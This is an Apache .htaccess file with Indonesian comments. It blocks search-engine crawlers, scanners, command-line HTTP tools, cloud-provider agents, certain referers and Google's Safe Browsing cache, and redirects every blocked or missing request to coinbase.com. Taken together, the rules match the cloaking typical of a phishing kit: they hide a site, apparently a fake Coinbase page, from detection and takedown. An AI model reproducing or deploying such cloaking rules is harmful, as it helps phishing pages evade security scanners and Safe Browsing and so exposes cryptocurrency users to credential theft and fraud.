# Aktifkan rewrite hanya sekali
RewriteEngine On

# Clean URLs (tanpa .php)
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^([^\.]+)$ $1.php [NC,L]

# Blokir bot dan user-agent berbahaya
RewriteCond %{HTTP_USER_AGENT} "(libwww-perl|MJ12bot|AhrefsBot|Baiduspider|DotBot|SemrushBot|YandexBot|Sogou|SeznamBot|PetalBot|python-requests|curl|HTTrack|Wget|Scrapy|Node\.js|ZGrab|masscan|UptimeRobot|Netcraft|Googlebot|bingbot|ia_archiver|rogerbot|exabot|Ezooms|sistrix|spbot|WordPress|Datanyze|aiHitBot|PhantomJS|Slackbot|Python-urllib|Go-http-client|Apache-HttpClient|GuzzleHttp|java|SiteSucker)" [NC]
RewriteRule .* - [F,L]

# Blokir penyedia cloud
RewriteCond %{HTTP_USER_AGENT} "(DigitalOcean|Amazon\.com|Google LLC|Amazon Technologies|FranTech|Tier\.Net|OVH SAS)" [NC]
RewriteRule .* - [F,L]

# Cek user agent untuk bot dan downloaders tertentu
RewriteCond %{HTTP_USER_AGENT} ^(googlebot|BlackWidow|ChinaClaw|Custo|DISCo) [NC]
RewriteRule .* - [F,L]

# Cek referer untuk domain tertentu dan user agent bot
RewriteCond %{HTTP_REFERER} (google\.com|paypal\.com|firefox\.com|amazon\.com|digitalocean\.com|facebook\.com|yahoo\.com) [NC]
RewriteRule .* - [F,L]

# Cek jika file atau direktori tidak ada
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d

# Redirect jika URL mengandung kode bahasa di awal path
RewriteRule ^[A-Za-z]{2}/(.*?)$ /$1 [L,DPI]

# Cek referer untuk cache safebrowsing Google
RewriteCond %{HTTP_REFERER} ^https?://(www\.)?safebrowsing-cache\.google\.com/ [NC]
RewriteRule .* - [F,L]

# Redirect Jika Keblokir Bot atau ip
ErrorDocument 403 http://coinbase.com
ErrorDocument 404 http://coinbase.com

<FilesMatch "\.(ini|htaccess|inc|info|install|make|module|profile|test|po|sh|._sql|theme|tpl(\.php)?|xtmpl)(~|\.sw[op]|\.bak|\.orig|\.save)?$|^(\.(?!well-known)._|Entries._|Repository|Root|Tag|Template|composer\.(json|lock)|package\.(json|lock)|web\.config)$|^#._#$|\.php(~|\.sw[op]|\.bak|\.orig\.save)$">
Order allow,deny
Deny from all
</FilesMatch>

# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php81” package as the default “PHP” programming language.
<IfModule mime_module>
  AddHandler application/x-httpd-ea-php81 .php .php8 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not edit
